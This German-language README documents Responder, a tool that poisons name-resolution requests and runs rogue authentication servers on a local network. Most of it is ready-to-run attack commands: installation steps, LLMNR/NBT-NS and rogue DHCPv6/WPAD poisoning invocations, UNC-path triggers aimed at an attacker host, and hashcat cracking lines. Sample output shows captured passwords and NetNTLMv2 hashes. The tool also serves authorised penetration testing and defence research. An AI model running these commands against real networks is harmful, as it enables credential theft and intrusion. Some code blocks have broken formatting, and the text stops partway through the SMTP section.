Responder

Responder ist ein LLMNR-, NBT-NS- und MDNS-Poisoner mit integrierten betrügerischen Authentifizierungsservern für HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS und mehr. Es unterstützt NTLMv1/NTLMv2/LMv2, erweitertes NTLMSSP und verschiedene Authentifizierungsmethoden über 15+ Protokolle.

---

Inhaltsverzeichnis

• Übersicht
• Neuerungen
• Installation
• Schnellstart
• Netzwerk-Poisoning
• Betrügerische Server
• Konfiguration
• macOS
• Fehlerbehebung

---

Übersicht

Responder fängt Anmeldedaten ab, indem es auf LLMNR-, NBT-NS- und MDNS-Namensauflösungsanfragen antwortet. Wenn ein Client versucht, einen nicht existierenden Hostnamen aufzulösen, antwortet Responder und leitet den Client zum Angreifer-Rechner, wo mehrere betrügerische Authentifizierungsserver Anmeldedaten abfangen. DHCP- und DHCPv6-betrügerische Server sind ebenfalls enthalten und können separat aktiviert werden.

Erfasste Daten:

• NetNTLMv1/v2-Hashes – Mit hashcat/john knackbar
• Kerberos AS-REQ-Hashes – Offline-Knacken (hashcat -m 7500)
• Klartext-Anmeldedaten – HTTP Basic, FTP, SMTP, IMAP, LDAP, SQL, etc.
• Challenge-Response – CRAM-MD5, DIGEST-MD5

---

Neuerungen

Diese Version beinhaltet:

DHCPv6- & DNS-Verbesserungen

• ✅ DHCPv6 INFORMATION-REQUEST – Volle Windows 10/11-Kompatibilität
• ✅ Domain-Filterung – Gezielte Domänen ansprechen (DHCPv6 & DNS)
• ✅ Router-Advertisements – Optionales IPv6-Netzwerk-Poisoning

E-Mail-Server-Upgrades

• ✅ SMTP STARTTLS – Abfangen von modernen E-Mail-Clients
• ✅ IMAP STARTTLS – Port 143 mit TLS-Upgrade
• ✅ IMAPS – Natives SSL auf Port 993
• ✅ Verbessertes POP3 – Bessere Kompatibilität

Kerberos-Verbesserungen

• ✅ Force AS-REQ – Erzwingt Kerberos-Authentifizierung.
• ✅ NTLM-Fallback versuchen – Nach dem Abfangen der Kerberos-Authentifizierung KDC_ERR_ETYPE_NOSUPP zurückgeben

Protokollverbesserungen

• ✅ MSSQL – SQL-Server-Authentifizierung abfangen
• ✅ LDAP/LDAPS – Verzeichnisdienst-Anmeldedaten
• ✅ RDP – Remote Desktop-Authentifizierung
• ✅ WinRM – Windows-Remoteverwaltung
• ✅ DCERPC – Windows-RPC-Authentifizierung

---

Installation

Voraussetzungen

• Python 2.7 oder Python 3.x
• Linux (Ubuntu, Kali, Debian empfohlen)
• Root-Rechte

Systemabhängigkeiten```bash

sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces

### Responder installieren```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt

Installation überprüfen```bash

sudo python3 Responder.py --help

---

## Schnellstart

### Grundlegende Vergiftung```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v

# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v

DHCPv6-Angriff```bash

Edit Responder.conf first:

[DHCPv6 Server]

DHCPv6_Domain = corp.local

sudo python3 Responder.py -I eth0 --dhcpv6 -v

### HTTP-Basisauthentifizierung erzwingen```bash
sudo python3 Responder.py -I eth0 -b -v

Proxy Auth + Rogue DHCP aktivieren```bash

Enable Proxy-auth server with rogue DHCP server injecting WPAD server (highly effective)

sudo python3 Responder.py -I eth0 -Pvd

---

## Netzwerkvergiftung

### LLMNR/NBT-NS/MDNS-Vergiftung

**Zweck:** Auf Namensauflösungsfehler reagieren

**Funktionsweise:**
1. Client sendet eine Broadcast-Anfrage nach einem nicht existierenden Host
2. Responder antwortet: „Ich bin dieser Host“
3. Client verbindet sich mit dem Angreifer
4. Anmeldeinformationen werden erfasst

**Konfiguration:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On

Verwendung:```bash sudo python3 Responder.py -I eth0 -v

---

### DHCPv6 Server

**Zweck:** Zwingt Clients, den DNS des Angreifers über IPv6 zu nutzen

**Funktionen:**
- ✅ INFORMATION-REQUEST Unterstützung (Windows 10/11)
- ✅ SOLICIT/REQUEST Unterstützung
- ✅ Domain-Filterung (chirurgische Zielauswahl)
- ✅ Router Advertisement (optional)

**Funktionsweise:**
1. Windows sendet DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. Responder antwortet: DNS = IPv6 des Angreifers
3. Windows priorisiert IPv6 DNS
4. Alle DNS-Anfragen → Angreifer
5. DNS-Vergiftung → Erfassung von Anmeldedaten

**Konfiguration:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local

; Send Router Advertisements
SendRA = Off

; IPv6 address to advertise
BindToIPv6 = fe80::1

Verwendung:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v

**Erwartete Ausgabe:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123

---

Betrügerische Server

Responder enthält 17+ betrügerische Authentifizierungsserver:

Datei- und Netzwerkdienste

SMB-Server (Ports 445, 139)

Zweck: Erfassung von NetNTLM-Hashes aus Dateifreigaben

Funktionen:

• ✅ SMBv1/SMBv2/SMBv3
• ✅ NetNTLMv1/v2-Hash-Erfassung
• ✅ Erweiterte Sicherheit NTLMSSP
• ✅ Sitzungssignierung deaktiviert (ermöglicht Relay)

Auslöser:```powershell

UNC paths

\attacker-ip\share \non-existent-server\files

NET USE commands

net use \attacker-ip\share

Windows Explorer address bar

\attacker-ip\

**Erfasstes Format:**```
username::domain:challenge:response:blob

Knacken:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt

**Konfiguration:**```ini
[Responder Core]
SMB = On

---

FTP-Server (Port 21)

Zweck: Erfassen von Klartext-FTP-Anmeldedaten

Funktionen:

• ✅ Anonymer Login-Honeypot
• ✅ USER/PASS-Authentifizierung
• ✅ Erfassen von Klartext-Anmeldedaten

Auslöser:```bash ftp attacker-ip

Username: anything

Password: anything

**Erfasstes Format:**```
[FTP] Cleartext: username:password

Konfiguration:```ini [Responder Core] FTP = On

---

### Datenbankserver

#### MSSQL-Server (Port 1433)

**Zweck:** Microsoft SQL Server-Authentifizierung erfassen

**Funktionen:**
- ✅ SQL Server-Authentifizierung
- ✅ Windows-Authentifizierung (NTLM)
- ✅ SQL-Anmeldedaten im Klartext
- ✅ NetNTLMv2-Hash-Erfassung

**Auslöser:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows

-- Command line
sqlcmd -S attacker-ip -U sa -P password

-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;

Erfasste Formate:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob

**Konfiguration:**```ini
[Responder Core]
SQL = On

Hinweise:

• Erfasst sowohl SQL-Authentifizierung als auch Windows-Authentifizierung
• Funktioniert mit SSMS, sqlcmd, ADO.NET-Verbindungen
• Kann Domänenanmeldeinformationen über Windows-Authentifizierung erfassen

---

E-Mail-Server

SMTP-Server (Port 25, 587)

Zweck: Erfassen der E-Mail-Client-Authentifizierung

Funktionen:

• ✅ STARTTLS-Unterstützung (moderne Clients)
• ✅ AUTH PLAIN (Klartext)
• ✅ AUTH LOGIN (Klartext)
• ✅ AUTH CRAM-MD5
• ✅ AUTH DIGEST-MD5
• ✅ AUTH NTLM (NetNTLMv2)